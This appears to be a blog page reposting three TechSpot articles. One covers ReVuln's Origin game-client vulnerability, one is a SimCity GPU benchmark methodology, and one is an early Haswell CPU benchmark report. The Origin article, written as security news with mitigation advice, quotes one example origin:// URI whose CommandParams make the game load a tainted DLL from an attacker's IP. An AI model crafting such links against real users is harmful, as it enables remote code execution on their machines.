<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Upwards of 40 million users of EA's Origin game platform could be <a href="http://www.revuln.com/files/ReVuln_EA_Origin_Insecurity.pdf" style="color: #05408f; outline: none; text-decoration: none;" target="_blank">open to a vulnerability</a> that allows an attacker to remotely execute malicious code. Demonstrated by ReVuln on Friday at the Black Hat security conference in Amsterdam, the process requires Origin's client to be installed on the <a class="kLink" href="http://www.techspot.com/news/51989-origin-vulnerability-lets-attackers-hijack-gaming-machines.html#" id="KonaLink0" style="background-color: transparent !important; background-image: none !important; border: 0px none transparent !important; bottom: 0px; color: #05408f; cursor: pointer; display: inline !important; font-family: inherit !important; font-size: inherit !important; left: 0px; margin: 0px; outline: none; padding: 0px; position: static; right: 0px; top: 0px;"><span style="color: #05408f; font-family: inherit !important; font-size: inherit !important; outline: none; position: static;"><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; font-family: inherit !important; font-size: inherit !important; outline: none; padding: 0px 0px 1px !important; position: static; width: auto !important;">victim's </span><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; font-family: inherit !important; font-size: inherit !important; outline: none; padding: 0px 0px 1px !important; position: static; width: auto !important;">machine</span></span></a> and it can be exploited when the user clicks a specially crafted link.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The issue stems from Origin's use of specific uniform resource identifiers (URIs) to communicate with games. When it launches a title, it sends an "origin://LaunchGame/<gameid_1 style="outline: none;">" URI that may also contain custom command line arguments known as "CommandParams." In ReVuln's demo for instance, the platform uses "origin://LaunchGame/71503" to open Crysis 3.</gameid_1></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 12px; outline: none;"><img src="http://static.techspot.com/fileshost/newspics3/2012/originexpl-1.jpg" style="outline: none;" /></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Because that link can contain CommandParams, an attacker could deliver a payload targeting software on your system with a couple of simple commands. For example, ReVuln says this would invoke the Nvidia benchmark framework and then download a tainted DLL: origin://LaunchGame/<gameid_1 style="outline: none;">/?CommandParams= -openautomate \<attacker_ip style="outline: none;">openautomate.dll.</attacker_ip></gameid_1></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">What's more, as we understand it, Origin doesn't even have to be running -- again, just installed -- and it's possible that an attacker could exploit a system transparently, especially if the person has their system configured to handle origin:// links automatically. As such, at a minimum, folks are encouraged to make sure their browser is set to issue a prompt when handling those links.</div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 12px; outline: none;"><img src="http://static.techspot.com/fileshost/newspics3/2012/originexpl-2.jpg" style="outline: none;" /></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">If you're looking to clamp down a bit more than that, the researchers recommend that you disable the origin:// URI globally with a tool such as <a href="http://www.techspot.com/downloads/5854-url-protocol-view.html" style="color: #05408f; outline: none; text-decoration: none;">Nirsoft's URLProtocolView</a>. This will prevent you -- and anyone else -- from running games via shortcuts with custom parameters on your system, but ReVuln says you'll still be able to play games by running them directly from Origin's client.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">It's worth noting that this isn't a new problem. The same security group exposed a similar issue on Steam last year: maliciously crafted "steam://" links could be used for <a class="kLink" href="http://www.techspot.com/news/51989-origin-vulnerability-lets-attackers-hijack-gaming-machines.html#" id="KonaLink1" style="background-color: transparent !important; background-image: none !important; border: 0px none transparent !important; bottom: 0px; color: #05408f; cursor: pointer; display: inline !important; font-family: inherit !important; font-size: inherit !important; left: 0px; margin: 0px; outline: none; padding: 0px; position: static; right: 0px; top: 0px;"><span style="color: #05408f; font-family: inherit !important; font-size: inherit !important; outline: none; position: static;"><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; font-family: inherit !important; font-size: inherit !important; outline: none; padding: 0px 0px 1px !important; position: static; width: auto !important;">remote </span><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; font-family: inherit !important; font-size: inherit !important; outline: none; padding: 0px 0px 1px !important; position: static; width: auto !important;">code </span><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; font-family: inherit !important; font-size: inherit !important; outline: none; padding: 0px 0px 1px !important; position: static; width: auto !important;">execution</span></span></a>. Valve plugged that hole roughly two days after ReVuln's report was released. It's unclear if or when EA will issue a fix, not least considering it's had five months to act since the Steam issue.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><a href="http://www.techspot.com/news/51989-origin-vulnerability-lets-attackers-hijack-gaming-machines.html" target="_blank">Read More...</a></div></div>

Origin vulnerability lets attackers hijack gaming machines

Upwards of 40 million users of EA's Origin game platform could be  open to a vulnerability  that allows an attacker to remotely execute ...

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SimCity Performance, Benchmarked

<div dir="ltr" style="text-align: left;" trbidi="on"><img alt="SimCity Performance, Benchmarked" height="281" src="http://static.techspot.com/articles-info/648/images/simcity-benchmarks.jpg" width="640" /><br /><br /><br /><div style="margin-bottom: 15px; outline: none;">Going down the memory lane, I can remember two computer games being responsible for getting me so interested in PCs. The original Command & Conquer was the first around 1995. Running on the venerable MS-DOS, I spent quite a bit of time playing that game at the ripe old age of 9 on our pokey HP powered i486.</div><div style="margin-bottom: 15px; outline: none;">Shortly after that I discovered SimCity 2000. The first SimCity title, which was released back in 1989, was before my time so I never played or laid eyes on the original. At the time SimCity 2000 was incredible, it was extremely detailed and offered what seemed like endless hours of gameplay. Some five years later SimCity 3000 was released (1999) and again much of my childhood was spent playing it.</div><div style="margin-bottom: 15px; outline: none;">For reasons that I cannot recall I never got into SimCity 4 (2003). I know I played it but for some reason it just didn’t speak to me like the previous two titles. Then along came SimCity Societies and at that point I thought my days of enjoying the SimCity games were over and for the better part of a decade they were.</div><div style="margin-bottom: 15px; outline: none;">But when Maxis announced last year that a sixth installment in the SimCity franchise was coming the hair on the back of my neck stood on end. From the announcement, it looked to be a dramatic overhaul from previous titles featuring full 3d graphics, online multiplayer gameplay, a new engine as well as several new features and gameplay changes.</div><div style="margin-bottom: 15px; outline: none;"></div><center style="outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/648/images/1p.jpg" style="border: 0px; outline: none;" /></a></center><div style="margin-bottom: 15px; outline: none;"></div><div style="margin-bottom: 15px; outline: none;">One year of waiting later, like so many others I pre-ordered the game and sat waiting for it to become available for download. Unfortunately like everyone else, once the game became available and I finally managed to download it, I wasn’t actually able to play.</div><div style="margin-bottom: 15px; outline: none;">As you've probably heard for the past couple of weeks, the game requires an internet connection to play, meaning there is no offline mode. That in itself is extremely annoying but it’s much worse when the servers you are meant to play on cannot cope with demand and shut you out.</div><div style="margin-bottom: 15px; outline: none;"></div><center style="outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/648/images/2p.jpg" style="border: 0px; outline: none;" /></a></center><div style="margin-bottom: 15px; outline: none;"></div><div style="margin-bottom: 15px; outline: none;">It took me several days of trying, as did the thousands of outraged fans. Since we planned to test SimCity I really needed to get in and work out how we were going to test the game. Thankfully by Sunday things improved and for the next three days I set about building our test environment.</div><h3 style="color: #05408f; font-size: 19px; line-height: 1.4; margin: 0px; outline: none; padding: 10px 0px;">Testing Methodology</h3><div style="margin-bottom: 15px; outline: none;">Normally when we benchmark a first person shooter, finding a good portion of the game to test with is simply a matter of playing through the game until we find a section that is rather demanding. This generally requires an hour or two of gameplay and then we get to test in full. It’s a similar process when we test real-time strategy games such as StarCraft II, for example. In that instance we chose to play a 4v4 game, record the replay and use that for benchmarking.</div><div style="margin-bottom: 15px; outline: none;">But with SimCity things were considerably more complex and time consuming. Because the game's progress is stored on EA servers it’s not possible to just download and use someone else’s saved game of a massive city. While it is possible to load up the leaderboard within SimCity, see who has the biggest city, and check it out, we couldn't use that for testing either since it's a live city being played, thus forever changing and hardly a controlled-enough test environment.</div><div style="margin-bottom: 15px; outline: none;"></div><center style="outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/648/images/CityT.jpg" style="border: 0px; outline: none;" /></a></center><div style="margin-bottom: 15px; outline: none;"></div><div style="margin-bottom: 15px; outline: none;">There are a few pre-built cities, such as the one used in the tutorial “Summer Shoals” but with a population of less than 4000 it doesn’t exactly make for the most demanding test environment. Therefore we created a city that has a population of half a million sims with three more cities just like it on the map.</div><div style="margin-bottom: 15px; outline: none;">When testing StarCraft II some readers were upset that we tested using a large 8-player map, claiming that they only play 1v1 and therefore get better performance. That is fine, but we wanted to show what it took to play the game in its most demanding state so that you'd never run into performance issues.</div><div style="margin-bottom: 15px; outline: none;">Getting back to SimCity, it’s a slightly different situation as all the regions are the same size. Some maps have more regions than others, but they are all 2x2 kilometers (comparable to SimCity 4's medium size). For testing we loaded one of our custom created cities (the same one each time) and increased the game speed to maximum, as this is how I always play anyway. Once that was done, we started a 60 second test using Fraps and in that time zoomed in and out multiple times while scrolling around the city.</div><div style="margin-bottom: 15px; outline: none;">As usual we tested at three different resolutions: 1680x1050, 1920x1200 and 2560x1600. The game was tested using two quality configurations, which we are calling maximum and medium. Normally we would test three different quality settings, but there was virtually no difference between 'max' and 'high' so we scrapped the latter.</div><div style="margin-bottom: 15px; outline: none;"></div><center style="outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/648/images/MaxT.jpg" style="border: 0px; outline: none;" /></a></center><div style="margin-bottom: 15px; outline: none;"></div><div style="margin-bottom: 15px; outline: none;"></div><center style="outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/648/images/MediumT.jpg" style="border: 0px; outline: none;" /></a></center><div style="margin-bottom: 15px; outline: none;"></div><table border="0" style="margin: -15px -8px; outline: none; width: 100%px;"><tbody style="outline: none;"><tr style="outline: none;"><td style="color: #333333; font-size: 13px; outline: none;" valign="top" width="50%"><ul style="list-style-type: square; outline: none;"><li style="outline: none;">HIS Radeon HD 7970 GHz (3072MB)</li><li style="outline: none;">HIS Radeon HD 7970 (3072MB)</li><li style="outline: none;">HIS Radeon HD 7950 Boost (3072MB)</li><li style="outline: none;">HIS Radeon HD 7950 (3072MB)</li><li style="outline: none;">HIS Radeon HD 7870 (2048MB)</li><li style="outline: none;">HIS Radeon HD 7850 (2048MB)</li><li style="outline: none;">HIS Radeon HD 7770 (1024MB)</li><li style="outline: none;">HIS Radeon HD 7750 (1024MB)</li><li style="outline: none;">HIS Radeon HD 6970 (2048MB)</li><li style="outline: none;">HIS Radeon HD 6870 (1024MB)</li><li style="outline: none;">HIS Radeon HD 6850 (1024MB)</li><li style="outline: none;">HIS Radeon HD 6790 (1024MB)</li><li style="outline: none;">HIS Radeon HD 6770 (1024MB)</li><li style="outline: none;">HIS Radeon HD 6750 (1024MB)</li><li style="outline: none;">HIS Radeon HD 5870 (2048MB)</li><li style="outline: none;">Gigabyte GeForce GTX Titan (6144MB)</li><li style="outline: none;">Gigabyte GeForce GTX 680 (2048MB)</li><li style="outline: none;">Gigabyte GeForce GTX 670 (2048MB)</li><li style="outline: none;">Gainward GeForce GTX 660 Ti (2048MB)</li><li style="outline: none;">Gigabyte GeForce GTX 660 (2048MB)</li><li style="outline: none;">Gigabyte GeForce GTX 650 Ti (2048MB)</li><li style="outline: none;">Gigabyte GeForce GTX 580 (1536MB)</li><li style="outline: none;">Gigabyte GeForce GTX 560 Ti (1024MB)</li><li style="outline: none;">Gigabyte GeForce GTX 560 (1024MB)</li><li style="outline: none;">Gigabyte GeForce GTX 550 Ti (1024MB)</li><li style="outline: none;">Gigabyte GeForce GTX 480 (1536MB)</li><li style="outline: none;">Gigabyte GeForce GTX 460 (1024MB)</li></ul></td><td style="color: #333333; font-size: 13px; outline: none;" valign="top" width="50%"><ul style="list-style-type: square; outline: none;"><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">Intel Core i7-3960X Extreme Edition (3.30GHz)</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">x4 4GB G.Skill DDR3-1600 (CAS 8-8-8-20)</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">Gigabyte G1.Assassin2 (Intel X79)</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">OCZ ZX Series 1250w</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">Crucial m4 512GB (SATA 6Gb/s)</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">Microsoft Windows 7 SP1 64-bit</li><li style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; outline: none;">Nvidia Forceware 314.14</li></ul><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><a href="http://www.techspot.com/review/648-simcity-performance/" target="_blank">Read More...</a></div><div><br /></div></td></tr></tbody></table></div>

SimCity Performance, Benchmarked

Going down the memory lane, I can remember two computer games being responsible for getting me so interested in PCs. The original Command ...

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Intel's Core i7-4770K 'Haswell' CPU gets benchmarked

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">If you’re considering upgrading to a Haswell CPU or building an entirely new system built around the chip but have been holding out to see what performance is like compared to existing processors, today is your lucky day. That’s because the first round of benchmarks from Haswell have hit the web courtesy of <a href="http://www.tomshardware.com/reviews/core-i7-4770k-haswell-performance,3461.html" style="color: #05408f; outline: none; text-decoration: none;" target="_blank">Tom’s Hardware</a>.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The publication was able to get their hands on a Core i7-4770K which will replace the i7-3770K at the top of the chip maker’s food chain (excluding Sandy Bridge-E). The chip retains the same base / Turbo clock speeds, core count (4/8) and 8MB of L3 cache as the Ivy Bridge counterpart. The only exception is the GPU clock which has been bumped up by 100MHz.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none; text-align: center;"><img src="http://static.techspot.com/images2/news/bigimage/2013-03-18-image-7.png" style="outline: none;" /></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Despite the fact that the publication’s test platform was running with 17 percent less memory bandwidth, Haswell was generally able to outpace similar Ivy Bridge chips by seven to 13 percent. These are pretty respectable gains considering clock speeds haven’t increase. In other tests, like Sandra’s Multimedia benchmark, integer performance was nearly double what Ivy Bridge was capable of.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none; text-align: center;"><img src="http://static.techspot.com/images2/news/bigimage/2013-03-18-image-8.png" style="outline: none;" /></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Onboard graphics also gained an improvement over Intel’s previous best. The site recorded frame rates that were on average 12-52 percent higher depending on the resolution and the game. Unfortunately the site falls short of testing overclocking capabilities or recording power consumption.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none; text-align: center;"><img src="http://static.techspot.com/images2/news/bigimage/2013-03-18-image-9.png" style="outline: none;" /></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Intel’s next generation processor is still a few months out but it’s nice to get an idea of what sort of performance Haswell will carry with it when it does arrive. We fully expect final production silicon to perform even better than what Tom’s Hardware recorded with this pre-production sample.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><a href="http://www.techspot.com/news/51986-intels-core-i7-4770k-haswell-cpu-gets-benchmarked.html" target="_blank">Read More...</a></div></div>

Intel's Core i7-4770K 'Haswell' CPU gets benchmarked

If you’re considering upgrading to a Haswell CPU or building an entirely new system built around the chip but have been holding out to see w...

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